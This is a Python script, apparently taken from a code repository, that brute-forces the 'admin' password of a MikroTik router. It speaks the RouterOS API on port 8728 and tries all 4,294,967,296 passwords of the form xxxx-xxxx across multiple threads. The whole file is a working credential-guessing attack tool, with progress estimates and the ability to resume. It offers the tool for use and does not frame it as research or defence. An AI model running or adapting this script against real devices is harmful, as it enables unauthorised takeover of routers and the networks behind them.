292 lines
No EOL
11 KiB
Python
292 lines
No EOL
11 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
MikroTik Full Brute Force Attack
|
|
Systematically tests ALL possible xxxx-xxxx password combinations
|
|
4,294,967,296 total passwords (0x00000000 to 0xFFFFFFFF)
|
|
"""
|
|
|
|
import socket
|
|
import time
|
|
import threading
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
import sys
|
|
import signal
|
|
|
|
class MikroTikFullBruteForce:
|
|
def __init__(self, host, port=8728):
|
|
self.host = host
|
|
self.port = port
|
|
self.username = "admin"
|
|
self.found_password = None
|
|
self.attempts = 0
|
|
self.start_time = None
|
|
self.lock = threading.Lock()
|
|
self.stop_flag = threading.Event()
|
|
self.start_value = 0
|
|
self.current_value = 0
|
|
|
|
def test_api_password(self, password, timeout=2):
|
|
"""Test password using MikroTik API"""
|
|
if self.stop_flag.is_set():
|
|
return False
|
|
|
|
try:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect((self.host, self.port))
|
|
|
|
def encode_length(length):
|
|
if length <= 0x7F:
|
|
return bytes([length])
|
|
elif length <= 0x3FFF:
|
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
|
else:
|
|
return bytes([0xFF])
|
|
|
|
def write_word(word):
|
|
word_bytes = word.encode('utf-8')
|
|
sock.send(encode_length(len(word_bytes)))
|
|
sock.send(word_bytes)
|
|
|
|
def write_sentence(words):
|
|
for word in words:
|
|
write_word(word)
|
|
write_word("")
|
|
|
|
def read_word():
|
|
try:
|
|
length_byte = sock.recv(1)
|
|
if not length_byte:
|
|
return ""
|
|
length = length_byte[0]
|
|
if length == 0:
|
|
return ""
|
|
if length & 0x80:
|
|
second_byte = sock.recv(1)
|
|
if not second_byte:
|
|
return ""
|
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
|
|
|
if length > 500:
|
|
return ""
|
|
|
|
return sock.recv(length).decode('utf-8', 'ignore')
|
|
except:
|
|
return ""
|
|
|
|
def read_sentence():
|
|
sentence = []
|
|
while True:
|
|
word = read_word()
|
|
if word == "":
|
|
break
|
|
sentence.append(word)
|
|
return sentence
|
|
|
|
# Send login
|
|
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
|
|
|
# Read response
|
|
response = read_sentence()
|
|
sock.close()
|
|
|
|
return response and response[0] == "!done"
|
|
|
|
except Exception:
|
|
return False
|
|
|
|
def int_to_password(self, value):
|
|
"""Convert integer to xxxx-xxxx password format"""
|
|
hex_str = f"{value:08x}"
|
|
return f"{hex_str[:4]}-{hex_str[4:]}"
|
|
|
|
def test_password_range(self, start_val, end_val):
|
|
"""Test a range of password values"""
|
|
for value in range(start_val, end_val):
|
|
if self.stop_flag.is_set():
|
|
return None
|
|
|
|
password = self.int_to_password(value)
|
|
|
|
with self.lock:
|
|
self.attempts += 1
|
|
self.current_value = value
|
|
current_attempts = self.attempts
|
|
|
|
# Progress reporting every 100 attempts
|
|
if current_attempts % 100 == 0:
|
|
elapsed = time.time() - self.start_time
|
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
|
percent = (value / 0xFFFFFFFF) * 100
|
|
|
|
# Estimate time remaining
|
|
if rate > 0:
|
|
remaining_passwords = 0xFFFFFFFF - current_attempts
|
|
eta_seconds = remaining_passwords / rate
|
|
eta_hours = eta_seconds / 3600
|
|
eta_days = eta_hours / 24
|
|
|
|
if eta_days > 1:
|
|
eta_str = f"{eta_days:.1f} days"
|
|
elif eta_hours > 1:
|
|
eta_str = f"{eta_hours:.1f} hours"
|
|
else:
|
|
eta_str = f"{eta_seconds/60:.1f} minutes"
|
|
else:
|
|
eta_str = "unknown"
|
|
|
|
print(f"[*] {current_attempts:,} attempts ({rate:.1f}/sec) - "
|
|
f"Progress: {percent:.6f}% - Current: {password} - ETA: {eta_str}")
|
|
|
|
if self.test_api_password(password):
|
|
print(f"\n*** PASSWORD FOUND! ***")
|
|
print(f"Password: {password}")
|
|
print(f"Value: 0x{value:08x} ({value:,})")
|
|
print(f"Total attempts: {current_attempts:,}")
|
|
elapsed = time.time() - self.start_time
|
|
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
|
|
self.found_password = password
|
|
self.stop_flag.set()
|
|
return password
|
|
|
|
return None
|
|
|
|
def run_full_brute_force(self, max_workers=4, chunk_size=1000, start_from=0):
|
|
"""Run full brute force attack"""
|
|
print(f"MikroTik Full Brute Force Attack")
|
|
print(f"Host: {self.host}")
|
|
print(f"Total password space: 4,294,967,296 (0x00000000 to 0xFFFFFFFF)")
|
|
print(f"Starting from: 0x{start_from:08x} ({start_from:,})")
|
|
print(f"Threads: {max_workers}")
|
|
print(f"Chunk size: {chunk_size:,}")
|
|
print("=" * 80)
|
|
|
|
if start_from > 0:
|
|
print(f"WARNING: Resuming from 0x{start_from:08x}")
|
|
print(f"Skipping {start_from:,} passwords")
|
|
print()
|
|
|
|
# Estimate time at different rates
|
|
total_passwords = 0xFFFFFFFF - start_from
|
|
print("Time estimates at different speeds:")
|
|
for rate in [50, 100, 200, 500]:
|
|
seconds = total_passwords / rate
|
|
days = seconds / (24 * 3600)
|
|
print(f" {rate:3d} pwd/sec: {days:.1f} days")
|
|
print()
|
|
|
|
self.start_time = time.time()
|
|
self.current_value = start_from
|
|
|
|
# Create work chunks
|
|
chunks = []
|
|
current = start_from
|
|
while current < 0xFFFFFFFF:
|
|
end = min(current + chunk_size, 0xFFFFFFFF + 1)
|
|
chunks.append((current, end))
|
|
current = end
|
|
|
|
print(f"Created {len(chunks):,} chunks of {chunk_size:,} passwords each")
|
|
print(f"Starting brute force attack...")
|
|
print()
|
|
|
|
# Use ThreadPoolExecutor
|
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
|
future_to_chunk = {
|
|
executor.submit(self.test_password_range, start, end): (start, end)
|
|
for start, end in chunks[:max_workers * 10] # Submit first batch
|
|
}
|
|
|
|
chunk_index = max_workers * 10
|
|
|
|
for future in as_completed(future_to_chunk):
|
|
if self.stop_flag.is_set():
|
|
# Cancel remaining tasks
|
|
for f in future_to_chunk:
|
|
f.cancel()
|
|
break
|
|
|
|
chunk_range = future_to_chunk[future]
|
|
try:
|
|
result = future.result()
|
|
if result:
|
|
return result
|
|
except Exception as e:
|
|
print(f"Error in chunk {chunk_range}: {e}")
|
|
|
|
# Submit next chunk if available
|
|
if chunk_index < len(chunks) and not self.stop_flag.is_set():
|
|
start, end = chunks[chunk_index]
|
|
new_future = executor.submit(self.test_password_range, start, end)
|
|
future_to_chunk[new_future] = (start, end)
|
|
chunk_index += 1
|
|
|
|
if not self.found_password:
|
|
elapsed = time.time() - self.start_time
|
|
print(f"\nBrute force completed without finding password.")
|
|
print(f"Total attempts: {self.attempts:,}")
|
|
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
|
|
if self.attempts > 0:
|
|
print(f"Average rate: {self.attempts/elapsed:.1f} passwords/second")
|
|
|
|
return self.found_password
|
|
|
|
def signal_handler(signum, frame):
|
|
"""Handle Ctrl+C gracefully"""
|
|
print(f"\n\nReceived signal {signum}")
|
|
print("Stopping attack gracefully...")
|
|
sys.exit(0)
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print("Usage: python3 mikrotik_full_brute_force.py <HOST> [threads] [start_from_hex]")
|
|
print("Examples:")
|
|
print(" python3 mikrotik_full_brute_force.py 10.250.2.2")
|
|
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8")
|
|
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8 0x00010000 # Resume from 0x00010000")
|
|
print()
|
|
print("WARNING: Full brute force will take a VERY long time!")
|
|
print("At 100 passwords/second, it would take ~1.36 years to complete.")
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
|
|
start_from = 0
|
|
|
|
if len(sys.argv) > 3:
|
|
start_hex = sys.argv[3]
|
|
if start_hex.startswith('0x'):
|
|
start_from = int(start_hex, 16)
|
|
else:
|
|
start_from = int(start_hex)
|
|
|
|
# Install signal handler
|
|
signal.signal(signal.SIGINT, signal_handler)
|
|
signal.signal(signal.SIGTERM, signal_handler)
|
|
|
|
# Confirm before starting
|
|
print(f"About to start full brute force against {host}")
|
|
print(f"This will test ALL 4,294,967,296 possible passwords!")
|
|
print(f"Starting from: 0x{start_from:08x}")
|
|
print()
|
|
response = input("Are you sure you want to continue? (yes/no): ")
|
|
if response.lower() != 'yes':
|
|
print("Aborted.")
|
|
sys.exit(0)
|
|
|
|
attacker = MikroTikFullBruteForce(host)
|
|
password = attacker.run_full_brute_force(
|
|
max_workers=threads,
|
|
chunk_size=1000,
|
|
start_from=start_from
|
|
)
|
|
|
|
if password:
|
|
print(f"\n✓ SUCCESS! Password found: {password}")
|
|
sys.exit(0)
|
|
else:
|
|
print(f"\n✗ Password not found in tested range.")
|
|
sys.exit(1)
|
|
|
|
if __name__ == "__main__":
|
|
main() |